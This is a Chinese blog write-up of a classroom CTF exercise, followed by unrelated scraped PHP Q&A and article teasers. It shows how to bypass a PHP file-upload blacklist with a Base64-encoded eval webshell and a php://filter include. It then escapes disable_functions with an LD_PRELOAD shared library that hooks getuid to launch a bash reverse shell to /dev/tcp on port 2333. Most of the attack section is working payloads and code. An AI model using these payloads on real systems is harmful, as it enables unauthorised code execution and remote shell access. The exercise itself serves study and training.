PHP之Base64+php://filter绕过、disabled_function绕过

2023-10-29

目录

一、Base64+php://filter绕过

1.思路分析 

2.实践验证

二、disabled_function绕过

一、Base64+php://filter绕过

上课讲了这样一道题,一起来看下(以下代码适用于PHP7.x及以上,5的版本会报错)

<?php
function fun($var): bool{
    $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
 
    foreach($blacklist as $blackword){
        if(strstr($var, $blackword)) return True;
    }
 
    
    return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}
 
$content = file_get_contents($temp_file);
if(fun($content)){
    die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;
 
 
        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
            die();
        }
        echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}

前端就是一个上传标签,没啥可看的

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>文件上传</title>
</head>
<body>
    <h2>上传文件</h2>
    <form action="index.php" method="post" enctype="multipart/form-data">
        <input type="file" name="upload_file" id="upload_file">
        <input type="submit" value="上传文件" name="submit">
    </form>
</body>
</html>

1.思路分析 

题目要求只能上传php文件,上传普通的一句话肯定不行,直接被过滤掉

普通Webshell不行,那上无字母呢? 很明显也不行,过滤了$_ , ~ , ^等符号

最终发现它没有过滤Base64编码和php://filter,include也可以试试用大写能不能绕过

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行

思路:

首先可以上传一个经过Base64编码后的一句话,这样就不会被过滤了

之后再上传一个文件包含的php代码,include函数里面指定php://filter文件流,把我们上传的一句话当做php代码执行

最后蚁剑连接getshell

2.实践验证

  • 那么我们首先呢上传一个经过Base64编码后的一句话绕过过滤
PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
  • 然后先写好php://filter,resource后面接我们上传的一句话,因为被Base64编码了,所以要先进行解码
php://filter/convert.base64-decode/resource=93bc3c03503d8768cf7cc1e39ce16fcb.php
  • 之后加上Include就大功告成了
<?php
Include("php://filter/convert.base64-decode/resource=93bc3c03503d8768cf7cc1e39ce16fcb.php");
?>

直接上传,但是被过滤了,仔细看看发现是"-"被过滤掉了,也可能是Include大写绕不过去

那只有找别的办法,Include先不管,"-"怎么解决?

这时候还是可以用Base64来绕过,php://filter里有这个符号,那我们就直接编码,这样就绕过了

编码后那就需要解码,加上base64_decode就行

那这样新的代码就出来了

<?php
Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT05M2JjM2MwMzUwM2Q4NzY4Y2Y3Y2MxZTM5Y2UxNmZjYi5waHA="));
?>

上传成功,先传个phpinfo试试

 成功执行,那就上蚁剑,直接getshell

连接成功后,原题本来是有disabled_function过滤的,这里由于是自己搭的环境,没办法

所以用现成的docker又搭了一个,来模拟我们getshell后遇到disabled_function过滤

二、disabled_function绕过

getshell后进入命令行

可以看到我们执行任何命令都返回ret=127,可以确定有disabled_function过滤

那怎么绕过呢?

这里就可以利用LD_PRELOAD这个环境变量,具体可以看我的上一篇博文

Nginx负载均衡下的webshell连接与过滤绕过以及LD_PROLOAD利用_Catherines7的博客-CSDN博客

这里其实可以用蚁剑的插件直接绕过

但这次我们自己来写动态链接库绕过

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("bash -c 'bash -i >& /dev/tcp/xxx.xx.xx.xxx/2333 0>&1'");
}

uid_t getuid() {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

劫持getuid这个函数,来执行我们的反弹shell命令

同样,gcc编译

gcc -shared -fPIC hook_getuid.c -o hook_getuid.so

编译后上传到服务器的/var/www/html目录下

再上传一个php文件

<?php
putenv("LD_PRELOAD=/var/www/html/hook_getuid.so");
mail("","","","","");
?>

然后到浏览器去执行这个php文件

但是因为我这里是docker环境,弹shell弹不出来

但是又没有disabled_function过滤的这样一个环境,所以就没有进一步深究了

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

PHP之Base64+php://filter绕过、disabled_function绕过 的相关文章

  • 如何在索引视图中打印关联数据

    subjects this gt Subjects gt find all contain gt Users fields gt Users username Users email gt hydrate false gt toArray
  • 控制器 HMVC 内的 CodeIgniter 负载控制器

    我在用着http github com philsturgeon codeigniter template http github com philsturgeon codeigniter template 对于模板 我尝试将其他控制器视图
  • 带单引号的 XPATH 查询[重复]

    这个问题在这里已经有答案了 有人知道如何解决这个问题吗 单引号让我陷入困境 nodes xml gt xpath item contains catalog Billy s Blogs title 我尝试以各种方式逃避它 但都抛出错误 no
  • Laravel Redis 配置

    我目前正在使用 Laravel 和 Redis 创建一个应用程序 几乎一切都工作正常 我按照文档中的说明扩展了身份验证 用户可以订阅 登录 注销 我可以创建内容 所有内容都存储在 Redis 中 但我有一个问题 我无法运行 php arti
  • 为什么 count 比 $count 差

    我只是在查看不同问题的答案以了解更多信息 我看到一个answer https stackoverflow com a 4891402 429850这表明在 php 中编写这样的做法是不好的做法 for i 0 i
  • IMAP 和 PHP - 从已发送文件夹和收件箱文件夹中获取所有电子邮件

    我正在尝试获取接收和发送的所有电子邮件 并使用 PHP 将其写入 mySQL 数据库 我使用的主机名是 hostname imap gmail com 993 imap ssl INBOX 它仅引用收件箱 并成功抓取收到的电子邮件 为了抓取
  • Ace Editor 自动完成和多种语言

    如何为 Ace 编辑器创建自动完成功能以及如何突出显示 php 中的 html javascript 和 csshttp ace ajax org http ace ajax org
  • 使用 .htaccess 进行 PHP 设置时出现 500 内部服务器错误

    当我使用时 htaccess对于以下 PHP 设置 我得到500 Internal Server Error访问网站时 中的代码 htaccess file php flag display errors off php flag log
  • 根据product_id获取magento产品的浏览次数

    我想在 Magento 的类别列表页面上显示查看计数 这些数据看起来过去可以通过 reports product collection 访问 但我找不到正确访问它的方法 我基本上想提供一个产品 ID 并获取返回给我的所述产品的观看次数 您可
  • PHP:解析器 asp 页面 [关闭]

    很难说出这里问的是什么 这个问题是含糊的 模糊的 不完整的 过于宽泛的或修辞性的 无法以目前的形式得到合理的回答 如需帮助澄清此问题以便重新打开 访问帮助中心 help reopen questions 早上好 我可以用 php 解析一个
  • WordPress 子主题 -functions.php 复制 - 无法“重新声明”

    我正在使用带有儿童主题 starkers child 的 Starkers 我需要编辑functions php来声明一个菜单 所以我复制了functions php JS文件夹和external文件夹 它们都在functions文件中的某
  • 计算帖子中使用 WordPress 短代码的次数

    我有以下 WordPress 短代码功能 function wp shortcode static i 1 return i i return return add shortcode shortcode wp shortcode 这很好用
  • 如何下载临时文件

    我正在尝试创建一个简短的 PHP 脚本 该脚本采用 JSON 字符串 将其转换为 CSV 格式 使用fputcsv 并使该 CSV 可作为下载的 csv 文件使用 我的想法是使用tmpfile 不用担心 cronjobs 或磁盘空间不足 但
  • 即使在双引号内或使用 PHP_EOL,PHP echo 也不打印换行符

    这是一张照片剪辑 我认为它很清楚 这真让我抓狂 我似乎无法让 php 在我的本地主机 使用 xampp 或在线 PHP 解释器上打印换行符 如果你想在 php 中使用 HTML 标签 试试这个 echo dkljaks aalksja kl
  • ElasticSearch 和 PHP 中的多个字段搜索

    我正在使用最新版本弹性搜索 PHP https github com elasticsearch elasticsearch php以及最新版本的 MongoDB 和 ElasticSearch 我需要对可以包含一个或多个值的多个字段进行搜
  • 验证 LDAPS 连接的自签名证书

    我想从 Linux Linux 3 2 0 4 amd64 1 SMP Debian 3 2 51 1 x86 64 GNU Linux 客户端到 Windows 2012 服务器建立安全的 ldap 连接 ldaps 以更改活动中的用户密
  • MySQL如何从多个表中获取数据

    我正在寻找 php MySQL jquery 的帮助 我有2张桌子 table1表 1 有 4 列 id 标题 desc thumb img tabel2表 2 有 3 列 id 表 id img 我只想将 2 个表与 get QS 的值进
  • Laravel 4.2 Composer 安装错误:“无法扫描类”

    我想通过 Composer 在新的 Laravel 4 2 安装上安装一些软件包 但是 我遇到了例外 这是我的作曲家文件 name laravel laravel description The Laravel Framework keyw
  • mysql_query 保留返回时在表中创建的数据类型?

    我在mysql中有一个表 CREATE TABLE user id INT name VARCHAR 250 我查询表 result mysql query SELECT id name FROM user 我收集结果 while row
  • Yii2:无法将列值更新+1

    创建新记录时 我需要将列值更新 1 public function actionCreate model new CreateBookings if model gt load Yii app gt request gt post Yii

随机推荐

  • 深度分析:Spring Boot 的接口限流算法

    在一个高并发系统中对流量的把控是非常重要的 当巨大的流量直接请求到我们的服务器上没多久就可能造成接口不可用 不处理的话甚至会造成整个应用不可用 那么何为限流呢 顾名思义 限流就是限制流量 就像你宽带包了1个G的流量 用完了就没了 通过限流
  • 「MindMaster」思维导图 使用「指南」

    前言 思维导图是一个可视化的图形思维工具 为什么要用思维导图 能帮助你从多方面多角度去思考 去发散 能帮助你理清复杂的逻辑关系 其倡导的网状的分散性思维和纵深性的逻辑思维有助于你形成相对完整的结构性思维 常见的逻辑结构 思维导图 发散和纵深
  • 机器学习 day26(多标签分类,Adam算法,卷积层)

    1 多标签分类 多标签分类 对于单个输入特征 输出多个不同的标签y 多类分类 对于单个输入特征 输出单个标签y 但y的可能结果有多个 2 为多标签分类构建神经网络模型 我们可以构建三个不同的神经网络模型来分别预测三个不同的标签y 但这种方法
  • 【宜搭】低代码开发师(中级)考试仓库库存管理系统流程

    目标 根据步骤能快速通过考试 一 建一个进货登记表 注意点 如图 公式如下
  • 数据结构与算法-线性表-线性存储结构

    数据结构中的线性表的第一种物理结构 顺序存储结构 它的c 实现代码如下 ifndef SHUNXUBIAO H define SHUNXUBIAO H include
  • js模糊匹配数组中含有某字符串

    数组中匹配单个字符串的方法 传入数组支持格式 function searchStr str arr let newList 要匹配字符串的首个字符 let startChar str charAt 0 要匹配字符串的字符长度 let str
  • php服务器性能计算,CPU主频和内核数量以及服务器性能之间的关系

    CPU主频和内核数量以及服务器性能之间的关系 要点 本文介绍了CPU主频和内核数量以及服务器性能之间的关系 希望对您有用 如果有疑问 可以联系我们 在系统维护工作中曾经被问到CPU内核数量和主频之间的关系的一个问题 当时和服务器厂家磨叽了几
  • 从数据分布的角度提高对抗样本的可迁移性

    1 引言 对抗迁移性攻击一般是先通过代理模型生成对抗样本 然后将该样本迁移到其它黑盒模型中进行攻击 对抗迁移性的根本原因目前仍有待于探究 以前的工作主要从模型的角度探讨原因 例如决策边界 模型架构和模型容量等 在该论文中 作者从数据分布的角
  • 06-----查看Linux内核版本和系统版本的命令

    1 查看Linux内核版本 1 cat proc version 2 uname a 结果 可以看到Linux内核版本和gcc版本等信息 2 查看Linux系统版本的命令 3种方法 1 lsb release a 这个命令适用于所有的Lin
  • 数学建模(2)

    数学建模 2 主成分分析法 主成分分析实际上是一种降维方法 注意 在实际研究中 由于主成分的目的是为了降维 减少变量的个数 故一般选取少量的主成分 不超过5或6个 只要它们能解释变异的70 80 称累积贡献率 就行了 主成分估计采用的方法是
  • iOS中socket通信---基于CocoaAsyncSocket实现

    前言 最近项目中涉及到socket通信这块 所以有幸有时间大概看了一下这一块 目前还在实现阶段 因此现在还不能去些具体的实现过程 现在只大概描述一下这几天看的资料和自己的一点心得吧 等项目实现之后会将具体的实现流程写出来以供大家参考 Soc
  • 给虚拟机换桌面壁纸

    Ubuntu budgie的桌面环境 他们一直不给我换 那我想换一个好看的壁纸 scp指令 我刚开始用的scp指令 不知道为什么一直连不上 所以没有用这个来上传图片文件 scp local file remote username remo
  • usaco Milk Routing

    这个题 自己当时做的时候真脑残 因为每条边上面加了容量c的限制 所以就把我吓的用暴力深搜去搞了 尼玛 数据范围那么 大 好吧 完了 我深搜的过程中加了个烂剪枝 结果还是wa了 真心不知道错在哪了 下来之后看了题解 恶心的题解 我当时也想到枚
  • (java基础学习)异常

    1 基本概念 java语言中 将程序中发生的不正常情况称为 异常 开发过程中的语法错误和逻辑错误不是异常 2 异常事件分为两大类 1 Error 错误 2 Exception 1 Error 错误 java虚拟机无法解决的严重问题 如 JV
  • element ui动画加载

    在正常的业务交互中我们都无法避免接口的交互 这里就会出现一些性能比较差的接口 加载的时间比较长 还有时我们正在加载某个东西时会希望用户别去操作其他东西 确实element给我们封装了一个非常简单好用的加载动画组件 我们只需要在任意元素上绑定
  • wireshark 找不到wifi网卡

    我今天用wireshark想来试一下抓包 我是用wifi上网 结果wireshark上根本就找不到无线网卡 原因是因为我没有打开npf服务 原本我也不知道是因为没有开启npf服务的原因 我偶然中打开了wireshark安装目录下的wires
  • Linux下ffmpeg的基本编译

    Linux下ffmpeg的基本编译 Linux下编译 1 源码下载地址 http ffmpeg org download html 2 将源码包上传到Linux编译服务器上并解压出来 3 创建编译路径 mkdir home compile
  • vue3.0 + element-plus + 上传图片到七牛云

    时间 2021 8 30 想在项目中 把上传的图片存储到 七牛云 上 但是发现 七牛云他只给了一个限时 30 天的 cdn 就是在30天后 这个就会取消掉 不知道上传后的图片还有没有在 需要绑定 备案的域名 就应该可以永久使用了吧 不过我没
  • 华为路由器默认用户名密码

    AR路由器的缺省账号密码如下 V200R003C00版本 AR150 200系列路由器的Telnet缺省用户名为admin 缺省密码为admin 缺省级别为15级 Web网管缺省用户名为admin 缺省密码为admin 缺省级别为15级 其
  • PHP之Base64+php://filter绕过、disabled_function绕过

    目录 一 Base64 php filter绕过 1 思路分析 2 实践验证 二 disabled function绕过 一 Base64 php filter绕过 上课讲了这样一道题 一起来看下 以下代码适用于PHP7 x及以上 5的版本